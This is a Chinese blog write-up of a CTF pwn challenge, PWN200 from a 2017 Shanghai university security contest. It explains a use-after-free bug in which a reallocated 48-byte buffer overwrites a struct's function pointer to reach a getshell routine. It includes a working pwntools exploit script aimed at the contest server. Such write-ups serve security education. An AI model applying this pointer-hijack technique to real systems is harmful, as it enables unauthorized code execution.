第三届上海市大学生网络安全大赛 PWN200 WriteUp

原创

b0ring 于 2017-11-08 10:51:50 发布 1599 收藏 1
分类专栏： CTF_PWN

本文链接：https://blog.csdn.net/s1054436218/article/details/78476125

这题利用了UAF漏洞，在pwnable.kr中有类似的题。简单介绍 一下什么事UAF，UAF就是use after free，就是在C++申请内存的机制中，如果上一次free掉的内存和新申请的内存大小相同，那么再次申请就会申请到刚才free掉的内存，于是例如本题中，结构体嵌套了函数，在再次申请到内存的时候，被覆盖掉原有的内存地址中，把shell的地址放到结构体调用的函数中，就会触发UAF漏洞，详情请看本题。将二进制文件拖进IDA中，反编译后可以看到通过new申请内存的v3、和v5，两个变量应该都是struct，如图所示：

转结构体后可以看到明刚开始给V3.char0变量赋值为off_602D78，在内存中，此地址为：

其中sub_401450即为getshell的地址，sub401840为一个输出函数，即正常按1会触发的函数，这个地方调用函数的时候是从结构体内存中申请的，所以这里就是我们触发UAF的触发点。接下来我们看after的话会发生什么：

大量没什么用的指令我就不展示了，关键是这两个地方，首先就是它提示你输入一个长度，代表你要申请内存地址的长度，这里要注意下我们要申请的长度不是30，而是0x30，也就是48。在free掉0x30长度的内存空间后，我们申请0x30的内存空间，就会覆盖掉原本结构体的内存地址，当我们再次调用打印信息的函数时，我们把该地址篡改为shell的地址，那么我们就可以getshell了。这里展示一下调用打印信息函数的反编译代码：

cha0是v3结构体起始的地址，而+8意味着之前初始化赋值的off_602D78+8，在覆盖掉以后，我们需要把调用时的地址篡改为off_602D78，也就是赋值，把结构体覆盖为off_602D78-8。思路很清晰了，下面是我的exp：

```
from pwn import *
import time

p  = remote('106.75.8.58','12333')
p.recvuntil('1. use, 2. after, 3. free')
p.sendline('3')
p.recvuntil('1. use, 2. after, 3. free')
p.sendline('2')
p.recvuntil('Please input the length:')
p.sendline('48')
payload = p64(0x0000000000602D70)
time.sleep(1)
p.sendline(payload)
p.recvuntil('1. use, 2. after, 3. free')
p.sendline('2')
p.recvuntil('Please input the length:')
p.sendline('48')
time.sleep(1)
p.sendline(payload)
p.recvuntil('1. use, 2. after, 3. free')
time.sleep(1)
p.sendline('1')
p.interactive()
```

更多参考资料：1、 Pwntools使用2、 UAF漏洞介绍